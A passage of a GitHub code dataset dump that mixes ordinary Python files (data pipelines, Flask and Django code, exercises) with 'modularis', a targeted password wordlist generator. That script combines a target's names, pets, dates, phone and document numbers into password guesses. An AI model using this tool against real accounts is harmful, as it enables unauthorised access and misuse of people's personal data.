canvas.configure(scrollregion=canvas.bbox('all')))\n\n# Create a label and add it to the frame\nlabel = tk.Label(canvas, text=\"\")\nlabel.pack()\n\n# Start the main event loop\nroot.mainloop()\n","repo_name":"typicalmodders23/heuhehehehehehheheheheheheh","sub_path":"proai.py","file_name":"proai.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9443634475","text":"# Load modules\nimport sys\nimport pandas as pd\nfrom sqlalchemy import create_engine\n\ndef load_data(messages_filepath, categories_filepath):\n \"\"\"\n Inputs:\n messages_filepath - Filepath to disaster response message CSV file (machine learning algorithm input)\n categories_filepath - Filepath to disaster response message categorizations CSV file (machine learning algorithm output)\n Outputs:\n df_combined - pandas dataframe of data in disaster response message CSV file merged with categorizations CSV file\n \"\"\"\n \n # Load messages dataset\n messages = pd.read_csv(messages_filepath)\n \n # Load categories dataset\n categories = pd.read_csv(categories_filepath)\n \n # Merge messages and categories dataset\n df_combined = messages.merge(categories, on = 'id', suffixes = ('_msg', '_cat'))\n \n return df_combined\n\n\ndef clean_data(df):\n \"\"\"\n Inputs:\n df - pandas dataframe of data in disaster response message CSV file merged with categorizations CSV file\n Outputs:\n df_clean - Cleaned version of input (duplicates are removed and categories are split into labeled, individual columns)\n \"\"\"\n \n # Create dataframe of individual column categories\n categories = df.categories.str.split(pat = ';', expand = True)\n \n # Extract column names for categories\n category_col_names = [item[0:-2] for item in categories.iloc[0]]\n \n # Rename the columns of categories dataframe\n categories.columns = category_col_names\n \n # Convert category values to just numbers 0 or 1\n for column in categories:\n categories[column] = categories[column].str[-1]\n categories[column] = categories[column].astype(int)\n \n # Drop the original categories column from df\n df.drop(['categories'], axis = 1, inplace=True)\n \n # Concatenate the original dataframe with the new categories dataframe\n df = df.join(categories)\n \n # Remove duplicates from concatenated dataframe\n df_clean = df.drop_duplicates()\n \n return df_clean\n\n\ndef save_data(df, database_filename):\n \"\"\"\n Inputs:\n df - Cleaned version of pandas dataframe of data in disaster response message CSV file merged with categorizations CSV file\n database_filename - Name of SQL database to use to externally save df\n Outputs:\n Saves SQL database of input dataframe\n \"\"\"\n \n # Create SQL engine name\n engine_name = 'sqlite:///' + database_filename\n \n # Create engine object\n engine = create_engine(engine_name)\n \n # Extract database name from database_filepath\n database_name = database_filename.split('/')[-1].split('.')[0]\n \n # Save dataframe to SQL database\n df.to_sql(database_name, engine, index=False)\n\n\ndef main():\n if len(sys.argv) == 4:\n\n messages_filepath, categories_filepath, database_filepath = sys.argv[1:]\n\n print('Loading data...\\n MESSAGES: {}\\n CATEGORIES: {}'\n .format(messages_filepath, categories_filepath))\n df = load_data(messages_filepath, categories_filepath)\n\n print('Cleaning data...')\n df = clean_data(df)\n \n print('Saving data...\\n DATABASE: {}'.format(database_filepath))\n save_data(df, database_filepath)\n \n print('Cleaned data saved to database!')\n \n else:\n print('Please provide the filepaths of the messages and categories '\\\n 'datasets as the first and second argument respectively, as '\\\n 'well as the filepath of the database to save the cleaned data '\\\n 'to as the third argument. \\n\\nExample: python process_data.py '\\\n 'disaster_messages.csv disaster_categories.csv '\\\n 'DisasterResponse.db')\n\n\nif __name__ == '__main__':\n main()","repo_name":"dwillengelhardt/Disaster_Response_Pipeline","sub_path":"data/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3915157167","text":"import mysql.connector\nfrom mysql.connector import Error\nfrom flask import Flask, render_template\nfrom random import randint\napp = Flask(__name__)\n\n\n# below is routing or mapping, tying the url to the python function\n@app.route('/')\ndef index():\n return render_template(\"home.html\")\n\n@app.route('/random')\ndef random():\n length = getLength()\n i = randint(0,int(length))\n info=get(i- 1)\n info=info.split('||',1)\n img=info[0]\n fact=info[1]\n print(\"Loading fact number: \"+str(i))\n return render_template(\"profiles.html\", imgsrc=img, fact=fact, post=i)\n@app.route('/')\ndef post(post):\n length=getLength()\n if post<=length:\n info=get(post - 1)\n info=info.split('||',1)\n img=info[0]\n fact=info[1]\n print(\"Loading fact number: \" + str(post))\n return render_template(\"profiles.html\", imgsrc=img, fact=fact, post=post)\n else:\n render_template(\"home.html\")\ndef getLength():\n \"\"\" Connect to MySQL database \"\"\"\n try:\n conn = mysql.connector.connect(host='Jaw0608.mysql.pythonanywhere-services.com',\n database='Jaw0608$info',\n user='Jaw0608',\n password='HIDDEN')\n if conn.is_connected():\n print(\"Connected\")\n # Create a Cursor object to execute queries.\n cur = conn.cursor()\n cur.execute(\"\"\"SELECT * FROM fact\"\"\")\n list=cur.fetchall()\n num=len(list)\n return num\n\n except Error as e:\n print(e)\n\ndef get(id):\n conn = mysql.connector.connect(host='Jaw0608.mysql.pythonanywhere-services.com',\n database='Jaw0608$info',\n user='Jaw0608',\n password='HIDDEN')\n cur = conn.cursor()\n cur.execute(\"Select * FROM fact\")\n while id>0:\n cur.fetchone()\n id=id-1\n row=cur.fetchone()\n return row[0]+\"||\"+row[1]\n\n\n# Start this webserver, only if this script was run directly (meaning its the main file)\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n","repo_name":"jaw0608/health-facts","sub_path":"test/testingstuff/onlineMain.py","file_name":"onlineMain.py","file_ext":"py","file_size_in_byte":2149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1174294366","text":"import urlparse\nfrom communities.models import Community\n\nfrom django.contrib.auth import get_user_model\nfrom django.core.urlresolvers import reverse, resolve\nfrom django.test.client import Client\nfrom django.test.testcases import TestCase\n\nfrom communities.tests.common import create_sample_community\nfrom issues.models import Issue, Proposal, ProposalType, ProposalVote, ProposalVoteArgument, ProposalVoteValue, \\\n ProposalVoteArgumentRanking, ProposalVoteArgumentVoteValue\nfrom users.models import Membership\n\nUser = get_user_model()\n\n\nclass IssuesUITest(TestCase):\n @classmethod\n def setUpClass(cls):\n cls.community, cls.members, cls.chairmen = create_sample_community()\n\n @classmethod\n def tearDownClass(cls):\n Membership.objects.all().delete()\n Community.objects.all().delete()\n User.objects.all().delete()\n\n def setUp(self):\n self.client = Client()\n\n def login_chairmen(self):\n self.client.login(username=self.chairmen[0].email,\n password=\"password\")\n\n\n def test_view_create_issue_unauthorized(self):\n self.client.login(email=self.members[-1].email, password='password')\n response = self.client.get(\n reverse('issue_create', args=(self.community.id,)))\n self.assertEquals(403, response.status_code)\n\n def test_view_create_issue(self):\n title = \"Issue ABC\"\n abstract = \"Lorem Ipsum\"\n\n self.assertEquals(0, Issue.objects.count())\n\n self.login_chairmen()\n url = reverse('issue_create', args=(self.community.id,))\n response = self.client.get(url)\n self.assertEquals(200, response.status_code)\n response = self.client.post(url, {\n 'proposal-type': '',\n 'title': title,\n 'abstract': abstract,\n })\n self.assertEquals(200, response.status_code)\n # Ajax call returns a url to redirect to.\n rurl = urlparse.urlparse(response.content).path\n m = resolve(rurl)\n self.assertEquals('issue', m.url_name)\n i = Issue.objects.get(**m.kwargs)\n self.assertEquals(i.title, title)\n self.assertEquals(i.abstract, abstract)\n\n\n def test_create_proposal(self):\n i = Issue(community=self.community, title=\"Issue ABC\",\n created_by=self.chairmen[0])\n i.full_clean()\n i.save()\n\n title = 'Proposal XYZ'\n content = 'hellow world'\n\n self.assertEquals(0, Proposal.objects.count())\n\n self.login_chairmen()\n url = reverse('proposal_create', args=(self.community.id, i.id))\n response = self.client.get(url)\n self.assertEquals(200, response.status_code)\n response = self.client.post(url, {\n 'proposal-type': ProposalType.RULE,\n 'proposal-title': title,\n 'proposal-content': content,\n 'proposal-tags': 'tag1,tag2,tag3',\n })\n self.assertEquals(200, response.status_code)\n # Ajax call returns a partial html\n self.assertEquals(1, Proposal.objects.count())\n p = Proposal.objects.all()[0]\n assert isinstance(p, Proposal)\n self.assertContains(response, p.get_absolute_url())\n self.assertEquals(title, p.title)\n self.assertEquals(content, p.content)\n return p\n\n\n def test_vote_proposal(self):\n# p = self.test_create_proposal()\n ######################################\n i = Issue(community=self.community, title=\"Issue ABC\",\n created_by=self.chairmen[0])\n i.full_clean()\n i.save()\n title = 'Proposal XYZ'\n content = 'hellow world'\n p = Proposal.objects.create(type=ProposalType.RULE, issue=i, created_by=self.chairmen[0], title=title, content=content)\n ######################################\n #TODO: create this via HTML request\n pv = ProposalVote(proposal=p, user=self.members[0], value=ProposalVoteValue.CON)\n pv.full_clean()\n pv.save()\n return pv\n\n\n def test_argument_vote(self):\n# p = self.test_create_proposal()\n pv = self.test_vote_proposal()\n content = 'My test argument, this proposal is very good'\n pva = ProposalVoteArgument.objects.create(proposal_vote=pv, argument=content,\n created_by=self.members[0])\n self.login_chairmen()\n url = reverse('vote_on_argument', args=(self.community.id, pva.id))\n response = self.client.post(url, {\n 'val': 'pro',\n })\n self.assertEquals(200, response.status_code)\n pvar = ProposalVoteArgumentRanking.objects.all()[0]\n assert isinstance(pvar, ProposalVoteArgumentRanking)\n self.assertEquals(pvar.argument, pva)\n self.assertEquals(pvar.user, self.chairmen[0])\n self.assertEquals(pvar.value, ProposalVoteArgumentVoteValue.PRO)","repo_name":"nonZero/OpenCommunity","sub_path":"src/issues/tests/issue_ui_test.py","file_name":"issue_ui_test.py","file_ext":"py","file_size_in_byte":4860,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"4329823079","text":"# UFCG - Prog1 e Lab de Prog1 - Data: 14/03/2022 - Unidade 9\n# Gabriel Erik Silva Nunes - 121110201(Número da matrícula)\n# gabriel.erik.nunes@ccc.ufcg.edu.br\n# Caminhando por coluna\n\nfrom criando_matrizes import matriz\n\n\ndef insere_por_coluna(matriz):\n # Recebe uma matriz e insere os elementos por coluna\n\n for i in range(len(m[0])):\n for j in range(len(m)):\n n = int(input())\n m[j][i] = n\n\n","repo_name":"gabrieleriksn/python-studies","sub_path":"studies/estudomatrizes/revisando_tudo/caminhando_por_coluna.py","file_name":"caminhando_por_coluna.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36397442256","text":"import re\nfrom typing import List\n\nfrom ....Tag import Tag\n\n\ndef pn_pro_demo(tags: List[Tag]) -> None:\n \"\"\"\n Person and number for demonstratives\n \"\"\"\n quest_noun_regex = r\"(quell')([a-z]+)\"\n for t in tags:\n if t.lemma == \"\":\n match = re.search(quest_noun_regex, t.occ)\n if match:\n prev_tags = tags[: t.index]\n new_tag = Tag(match.group(2), \"NOM\", \"-\")\n next_tags = tags[t.index + 1 :]\n t._occurrence = re.search(quest_noun_regex, t.occ).group(1)\n t.pos = \"PRO:demo\"\n t.lemma = \"quello\"\n tags[:] = prev_tags + [t, new_tag] + next_tags\n for i, tag in enumerate(tags):\n tag.index = i\n for t in tags:\n if t.pos == \"PRO:demo\":\n if t.occurrence == \"quest'\" and t.lemma == \"questo\":\n t.set_pn(3, \"s\")\n elif t.occurrence == \"quell'\" and t.lemma == \"quello\":\n t.set_pn(3, \"s\")\n","repo_name":"ignaziomirto2017/nlpytaly","sub_path":"nlpytaly/operations/features/_features/pn_pro_demo.py","file_name":"pn_pro_demo.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"13591538961","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def isBalanced(self, root: Optional[TreeNode]) -> bool:\n res = [True]\n\n # DFS recursive function\n def dfs(node):\n \n # return 0 if current node is null\n if not node:\n return 0\n\n # traverse sub nodes\n left = dfs(node.left)\n right = dfs(node.right)\n\n # calculate diff between left and right heights\n diff = abs(left - right)\n\n # if diff is greater than 1, return early false\n if (diff > 1):\n res[0] = False\n\n # return max node height\n return 1 + max(left, right)\n \n dfs(root)\n\n return res[0]\n\n # Time Complexity: O(n)\n # Space Complexity: O(1)\n # Datastructure(s): None\n # Algorithm(s): DFS\n # Pattern: Binary Tree\n \n # Link: https://leetcode.com/problems/balanced-binary-tree/","repo_name":"Juichilee/Solved-LeetCode-Problems","sub_path":"Python/balanced_binary_tree.py","file_name":"balanced_binary_tree.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33633940784","text":"import itertools\r\nimport argparse\r\n\r\nparser = argparse.ArgumentParser(description=\"see README.md\")\r\nparser.parse_args()\r\n\r\ndef getMenu():\r\n\r\n print(' _ _ _ ')\r\n print(' /\\/\\ ___ __| | _ _ | | __ _ _ __ (_) ___ ')\r\n print(' / \\ / _ \\ / _` || | | || | / _` || \\'__|| |/ __|')\r\n print(' / /\\/\\ \\| (_) || (_| || |_| || || (_| || | | |\\__ \\\\')\r\n print(' \\/ \\/ \\___/ \\__,_| \\__,_||_| \\__,_||_| |_||___/')\r\n\r\n print(' __ __ _ _ _ _ ___ _ ')\r\n print(' \\ \\ / / ___ _ _ __| | | | (_) ___ | |_ / __| ___ _ _ ___ _ _ __ _ | |_ ___ _ _ ')\r\n print(' \\ \\/\\/ / / _ \\ | \\'_| / _` | | | | | (_-< | _| | (_ | / -_) | \\' \\ / -_) | \\'_| / _` | | _| / _ \\ | \\'_|')\r\n print(' \\_/\\_/ \\___/ |_| \\__,_| |_| |_| /__/ \\__| \\___| \\___| |_||_| \\___| |_| \\__,_| \\__| \\___/ |_| ')\r\n\r\n print('\\n')\r\n\r\ndef recursiveFunction(custom, pos4, aux, n, file):\r\n\r\n if (n >= len(pos4)):\r\n return\r\n\r\n for i in itertools.product(custom[n], repeat=1):\r\n\r\n aux[pos4[n]] = i\r\n aux[pos4[n]] = aux[pos4[n]][0]\r\n recursiveFunction(custom, pos4, aux, n+1, file)\r\n\r\n file.write(''.join(aux)+'\\n')\r\n\r\n\r\ndef getModules():\r\n \r\n print('Generational modules:\\n')\r\n\r\n print('1- Mr. Robot')\r\n print('2- Dates')\r\n print('3- Password format')\r\n print('4- Informational')\r\n print('5- Incremental')\r\n\r\n a = input('\\nEnter the modules sequence (e.g. 12345): ')\r\n \r\n return a\r\n\r\ndef testModule(file):\r\n file.write('teste\\n')\r\n file.write('teste2?\\n')\r\n\r\ndef firstModule(file):\r\n\r\n print('1- Mr. Robot Module\\n')\r\n\r\n string = input('Enter keywords or alpha-numeric sequences separated by \\';\\': ')\r\n\r\n print('\\nGenerating...')\r\n\r\n words = (string.split(';'))\r\n\r\n reversedwords = []\r\n\r\n for i in words:\r\n reversedword = i[::-1]\r\n reversedwords.append(reversedword)\r\n\r\n words.extend(reversedwords)\r\n\r\n words.extend(['123', '321'])\r\n\r\n for i in range(len(words)): #[joao, maria, fern, carro] #vai concatenar ate 3 palavras\r\n file.write(words[i]+'\\n')\r\n #file.write(words[i]+'123'+'\\n')\r\n \r\n for j in range(len(words)):\r\n file.write(words[i]+words[j]+'\\n')\r\n #file.write(words[i]+words[j]+'123'+'\\n')\r\n\r\n for c in range(len(words)):\r\n file.write(words[i]+words[j]+words[c]+'\\n')\r\n\r\n print('Finished.')\r\n\r\ndef secondModule(file):\r\n\r\n print('2- Dates Module\\n')\r\n\r\n string1 = input('Enter the year range of the dates to be generated (e.g. 1980/2015): ')\r\n string2 = input('Enter the date field divider (ENTER for no divisors): ')\r\n string3 = input('American (month/day/year) or British (day/month/year) model? (A/b): ')\r\n string4 = input('Autocomplete fields with \\'0\\'? (e.g 01/06/2001)(y/N): ')\r\n\r\n print('\\nGenerating...')\r\n\r\n ano1, ano2 = (string1.split('/'))\r\n ano1, ano2 = int(ano1), int(ano2)\r\n\r\n if (string3 == 'b'):\r\n if (string4 == 'y'):\r\n for i in range((ano2-ano1)+1):\r\n ano = ano1+i\r\n ano = str(ano)\r\n for j in range(12):\r\n mes = j+1\r\n mes = str(mes)\r\n if (int(mes) < 10):\r\n mes = '0' + mes\r\n\r\n for c in range(31):\r\n dia = c+1\r\n dia = str(dia)\r\n\r\n if (int(dia) < 10):\r\n dia = '0'+dia\r\n\r\n file.write(str(dia)+string2+str(mes)+string2+str(ano)+'\\n')\r\n else: #string4 = 'n'\r\n for i in range((ano2-ano1)+1):\r\n ano = ano1+i\r\n ano = str(ano)\r\n for j in range(12):\r\n mes = j+1\r\n mes = str(mes)\r\n\r\n for c in range(31):\r\n dia = c+1\r\n dia = str(dia)\r\n\r\n file.write(str(dia)+string2+str(mes)+string2+str(ano)+'\\n')\r\n\r\n else: #american model\r\n if (string4 == 'y'):\r\n for i in range((ano2-ano1)+1):\r\n ano = ano1+i\r\n ano = str(ano)\r\n for j in range(12):\r\n mes = j+1\r\n mes = str(mes)\r\n if (int(mes) < 10):\r\n mes = '0' + mes\r\n\r\n for c in range(31):\r\n dia = c+1\r\n dia = str(dia)\r\n\r\n if (int(dia) < 10):\r\n dia = '0'+dia\r\n\r\n file.write(str(mes)+string2+str(dia)+string2+str(ano)+'\\n')\r\n else: #string4 = 'n'\r\n for i in range((ano2-ano1)+1):\r\n ano = ano1+i\r\n ano = str(ano)\r\n for j in range(12):\r\n mes = j+1\r\n mes = str(mes)\r\n\r\n for c in range(31):\r\n dia = c+1\r\n dia = str(dia)\r\n\r\n file.write(str(mes)+string2+str(dia)+string2+str(ano)+'\\n')\r\n\r\n print('Finished.')\r\n\r\ndef thirdModule(file):\r\n\r\n print('3- Password format Module\\n')\r\n\r\n lowercase_char = 'abcdefghijklmnopqrstuvwxyz'\r\n uppercase_char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\r\n numbers = '0123456789'\r\n comum_symbols = '!@#$%&*()-=+_'\r\n custom = []\r\n\r\n print('@ will insert lower case characters')\r\n print(', will insert upper case characters')\r\n print('% will insert numbers')\r\n print('^ will insert symbols')\r\n print('[*charset*] will insert your charset\\n')\r\n\r\n string1 = input('Enter the password format (e.g pass[123]@,^): ') \r\n\r\n print('\\nGenerating...')\r\n\r\n pos = []\r\n pos1 = []\r\n pos2 = []\r\n pos3 = []\r\n pos4 = []\r\n aux = list()\r\n\r\n #dentro de colchetes\r\n #inside '[]'\r\n dentro = 0\r\n\r\n for i in range(len(string1)):\r\n \r\n if (dentro != 1):\r\n if (string1[i] != ']'):\r\n aux.append([string1[i]])\r\n #print(aux, i)\r\n aux[-1] = aux[-1][0]\r\n\r\n if (string1[i] == '['):\r\n\r\n for k in range(i+1,len(string1)):\r\n \r\n if string1[k] == ']':\r\n\r\n custom.append(string1[i+1:k])\r\n break\r\n dentro = 1\r\n continue\r\n elif (string1[i] == ']'):\r\n dentro = 0 \r\n \r\n \r\n for i in range(len(aux)):\r\n if aux[i] == '[':\r\n pos4.append(i)\r\n elif (aux[i] == '%'):\r\n pos.append(i)\r\n elif (aux[i] == '@'):\r\n pos1.append(i) \r\n elif (aux[i] == ','):\r\n pos2.append(i)\r\n elif (aux[i] == '^'):\r\n pos3.append(i) \r\n\r\n #print('CUSTOM: ',custom)\r\n\r\n #print('POS 4 = '+str(pos4)) \r\n\r\n #print(aux)\r\n\r\n #print('POS: ',pos,pos1,pos2,pos3,pos4)\r\n\r\n for j in itertools.product(numbers, repeat=len(pos)):\r\n seq = ''.join(j)\r\n for i in range(len(pos)):\r\n aux[pos[i]] = seq[i]\r\n\r\n for c in itertools.product(lowercase_char, repeat=len(pos1)):\r\n seq1 = ''.join(c)\r\n for b in range(len(pos1)):\r\n aux[pos1[b]] = seq1[b]\r\n\r\n for d in itertools.product(uppercase_char, repeat=len(pos2)):\r\n seq2 = ''.join(d)\r\n for f in range(len(pos2)):\r\n aux[pos2[f]] = seq2[f]\r\n\r\n for k in itertools.product(comum_symbols, repeat=len(pos3)):\r\n seq3 = ''.join(k)\r\n for l in range(len(pos3)):\r\n aux[pos3[l]] = seq3[l]\r\n\r\n if (len(pos4) > 0):\r\n recursiveFunction(custom, pos4, aux, 0, file)\r\n else:\r\n file.write(''.join(aux)+'\\n')\r\n\r\n print('Finished.') \r\n\r\ndef fourthModule(file):\r\n\r\n print('4- Informational Module\\n')\r\n\r\n chrs_numerics = '1234567890'\r\n\r\n print('\\nIn this module you must provide as much information about the target')\r\n print('If you don\\'t have an answer to some of the questions, press ENTER to proceed to the next question')\r\n print('Separate multiple responses with \";\" and without space (e.g. mary;john;mike)\\n')\r\n\r\n nomes = input('Enter name(s) connected to the target (the name of the target, of relatives ...):')\r\n sobrenomes = input('Enter last name(s):')\r\n animais = input('Target pets name(s) (e.g. dog;flipper;cat;lulu): ')\r\n times = input('Enter the name of team(s) (e.g. yankees):')\r\n datas = input('Enter target-related date(s) (vary formats for the same date) (e.g. 24112007;11/24/2007): ')\r\n numeros = input('Enter number(s) linked to the target (e.g. year of birth, residence number ...): ')\r\n hobbies = input('Enter hobbie(s) (e.g. skateboard;surf;painting;lol): ')\r\n documentos = input('Enter document(s) number(s): ')\r\n telefones = input('Enter phone number(s)/cell phone(s): ')\r\n placas = input('Enter vehicle(s) license plate(s) (e.g. 284FH8;FOR1094): ')\r\n servico = input('Enter words that define the target service (e.g. wifi;facebook;twitter;lol): ')\r\n emails = input('Enter the part before the \"@\" of email(s) associated with the target (e.g johnsnow02): ')\r\n palavras = input('Enter a few more keywords and/or alpha-numeric strings associated with the target: ')\r\n\r\n print('\\nGenerating...')\r\n\r\n palavraschave = list(nomes.split(\";\")\r\n +sobrenomes.split(\";\")\r\n +animais.split(\";\")\r\n +times.split(\";\")\r\n +hobbies.split(\";\")\r\n +servico.split(\";\")\r\n +emails.split(\";\")\r\n +palavras.split(\";\"))\r\n\r\n palavrasinvertidas = []\r\n numerosinvertidos = []\r\n\r\n for string in palavraschave:\r\n if (string != ''):\r\n string = string[::-1]\r\n palavrasinvertidas.append(string)\r\n\r\n palavraschave.extend(palavrasinvertidas)\r\n \r\n numeroschave = list(datas.split(\";\")\r\n +numeros.split(\";\")\r\n +telefones.split(\";\")\r\n +placas.split(\";\"))\r\n\r\n for numero in numeroschave:\r\n if (numero != ''):\r\n numero = numero[::-1]\r\n numerosinvertidos.append(numero)\r\n\r\n numeroschave.extend(numerosinvertidos)\r\n\r\n #incremental\r\n for p in palavraschave:\r\n if (p == ''):\r\n continue\r\n\r\n for n in numeroschave:\r\n if (n == ''):\r\n continue\r\n\r\n file.write(p+n+'\\n')\r\n file.write(n+p+'\\n') \r\n\r\n file.write(p+'\\n')\r\n\r\n for j in itertools.product(chrs_numerics, repeat=1):\r\n inc = ''.join(j)\r\n file.write(p+inc+'\\n')\r\n file.write(inc+p+'\\n') \r\n for j in itertools.product(chrs_numerics, repeat=2):\r\n inc = ''.join(j)\r\n file.write(p+inc+'\\n')\r\n file.write(inc+p+'\\n') \r\n for j in itertools.product(chrs_numerics, repeat=3):\r\n inc = ''.join(j)\r\n file.write(p+inc+'\\n')\r\n file.write(inc+p+'\\n')\r\n for j in itertools.product(chrs_numerics, repeat=4):\r\n inc = ''.join(j)\r\n file.write(p+inc+'\\n')\r\n file.write(inc+p+'\\n')\r\n for j in itertools.product(chrs_numerics, repeat=5):\r\n inc = ''.join(j)\r\n file.write(p+inc+'\\n')\r\n file.write(inc+p+'\\n')\r\n \r\n print('Finished.') \r\n \r\ndef fifthModule(file):\r\n\r\n print('5- Incremental Module\\n')\r\n\r\n #Credits -> Goblin wordlist generator\r\n\r\n use_nouse = str(input(\"\\nDo you want to enter personal data? [y/N]: \"))\r\n \r\n if use_nouse == 'y':\r\n\r\n print('Just enter relevant information, the less variety of characters, the more accurate the Incremental will be.')\r\n\r\n first_name = str(input(\"\\nFist Name: \"))\r\n last_name = str(input(\"\\nLast Name: \"))\r\n hobbie = str(input(\"\\nHobbie: \"))\r\n servico = str(input(\"\\nService: \"))\r\n someword = str(input(\"\\nA guess word: \"))\r\n chrs = first_name + last_name + hobbie + servico + someword\r\n else:\r\n chrs = 'abcdefghijklmnopqrstuvwxyz'\r\n pass\r\n\r\n chrs_up = chrs.upper()\r\n chrs_specials = '!\\][/?.,~-=\";:><@#$%&*()_+\\' '\r\n chrs_numerics = '1234567890'\r\n\r\n intervalo = input('Enter the length range of the passwords that will be generated (e.g. 5/8): ')\r\n \r\n menor = int((intervalo.split('/'))[0])\r\n maior = int((intervalo.split('/'))[1])\r\n\r\n if (input('Use uppercase characters? (y/N): ') == 'y'):\r\n chrs = ''.join([chrs, chrs_up])\r\n \r\n if (input('Use numeric characters? (y/N): ') == 'y'):\r\n chrs = ''.join([chrs, chrs_numerics])\r\n\r\n if (input('Use symbols? (y/N): ') == 'y'):\r\n chrs = ''.join([chrs, chrs_specials])\r\n\r\n print('\\nGenerating...')\r\n\r\n for i in range(menor, maior+1):\r\n for j in itertools.product(chrs, repeat=i):\r\n word = ''.join(j)\r\n #print(word)\r\n file.write(word+'\\n')\r\n\r\n print('Finished.')\r\n\r\nif __name__ == \"__main__\":\r\n\r\n file = open(\"wordlist.txt\", \"w+\")\r\n\r\n getMenu()\r\n\r\n modules = getModules() \r\n\r\n for i in modules:\r\n \r\n i = int(i);\r\n\r\n print('\\n---------------------------------------------------------------------------')\r\n\r\n #if i == 0:\r\n # testModule(file)\r\n \r\n if i == 1:\r\n firstModule(file)\r\n elif i == 2:\r\n secondModule(file)\r\n elif i == 3:\r\n thirdModule(file)\r\n elif i == 4:\r\n fourthModule(file)\r\n elif i == 5:\r\n fifthModule(file)\r\n \r\n file.close() \r\n","repo_name":"itzinn/modularis","sub_path":"modularis.py","file_name":"modularis.py","file_ext":"py","file_size_in_byte":13804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71829997663","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nimport pandas as pd\nfrom sqlalchemy import create_engine\n\n\ndef trans_data(input_data):\n input_data[['vol', 'low']] = input_data[['vol', 'low']] * 100\n print(input_data)\n\n\ndef calc_input(input, price_max, vol_max):\n if input < price_max:\n return (input / (price_max + 0.01)) * 0.99 + 0.01\n else:\n return (input / (vol_max + 0.01)) * 0.99 + 0.01\n\n\nts_code = '000001.SZ'\n\ndb = create_engine('mysql+pymysql://root:111111@172.16.100.173:3306/neuralnetwork?charset=utf8')\nsql_cmd = 'select open, close, high, low, vol from stock_daily where ts_code = %(ts_code)s order by trade_date asc limit 2'\ndf = pd.read_sql(sql=sql_cmd, con=db, params={'ts_code': ts_code})\nprint(df)\n\ninput_array = np.asfarray(df.values).reshape(10)\nprint(input_array)\n# map(lambda x: calc_input(x, 12.9, 165283.74), input_array)\ninput_array = [calc_input(x, 12.9, 165283.74) for x in input_array]\nprint(input_array)\n","repo_name":"tonywanggit/NeuralNetwork","sub_path":"neuralNetwork/dash_board.py","file_name":"dash_board.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26131530696","text":"#!/usr/bin/env python3\n\n# def dfs_recurse(graph, curr, traversal, visited):\n# if curr not in visited:\n# traversal.append(curr)\n# visited.add(curr)\n\n# if not graph[curr]:\n# x = -1\n# while not graph[curr]:\n# curr = traversal[x]\n# x = x - 1\n# print(curr)\n# curr = graph[curr].pop(0)\n# print(\"a\")\n# return\n# curr = graph[curr].pop(0)\n# print(\"b\")\n# dfs_recurse(graph, curr, traversal, visited)\n\n\ndef dfs_traversal(graph, initial_node):\n # your implementation here\n #initialize the traversal and visited lists with the initial node\n traversal = []\n #initialize the stack\n stack = [initial_node]\n traversal.append(initial_node)\n\n curr = initial_node\n\n # dfs_recurse(graph, curr, traversal, visited)\n while stack:\n curr = stack[-1]\n if curr not in traversal:\n stack.append(curr)\n traversal.append(curr)\n \n if graph[curr]:\n stack.append(graph[curr].pop(0))\n else:\n stack.pop()\n\n\n\n\n # your function will return a list!\n return traversal\n\ndef main():\n graph1 = {\"+\": [\"*\",3], \"*\":[2,7], 2:[],7:[],3:[]}\n inode = \"+\"\n graph2 = {0: [1,3], 1:[2,3], 2:[3,1], 3:[0,1]}\n jnode = 0\n print(dfs_traversal(graph1, inode))\n print(dfs_traversal(graph2, jnode))\n \n\n# Main Execution\nif __name__ == '__main__':\n main()\n\n","repo_name":"danie1shie1ds/codePortfolio","sub_path":"python/dfs.py","file_name":"dfs.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"30734384409","text":"import json\nimport os\nimport random\nimport re\n\nfrom hoshino import HoshinoBot, Service, priv\nfrom hoshino.typing import CQEvent, MessageSegment\nfrom hoshino.util import FreqLimiter\n\nfrom .game import GameSession\n\n_help = \"\"\"\n[崩坏3猜语音]:正常舰桥、战斗等语音\n[崩坏3猜语音2/困难]:简短的语气或拟声词\n\"\"\"\nFN = 30\nflmt = FreqLimiter(FN)\nsv = Service(\"崩坏3猜语音\", bundle=\"崩坏3\", help_=_help)\n\n\ndef split_voice_by_chara(v_list: list):\n \"\"\"对语音列表进行分类\"\"\"\n ret = {\n \"normal\": {}, # 正常语音\n \"hard\": {} # 语气&拟声词\n }\n for voice in v_list:\n op_dict = ret[\"hard\"] if \"拟声词\" in voice[\"voice_path\"] else ret[\"normal\"]\n chara = re.split(\"-|\\(\", voice[\"voice_name\"])[0].strip()\n if re.search(r\"《|【\", chara):\n continue\n if not op_dict.get(chara):\n op_dict[chara] = []\n op_dict[chara].append(voice)\n return ret\n\n\ndef gen_voice_list(origin_path=None):\n \"\"\"递归生成语音列表\"\"\"\n voice_dir = os.path.join(os.path.dirname(__file__), \"../assets/record\")\n if origin_path is None:\n origin_path = voice_dir\n ret_list = []\n for item in os.listdir(origin_path):\n item_path = os.path.join(origin_path, item)\n if 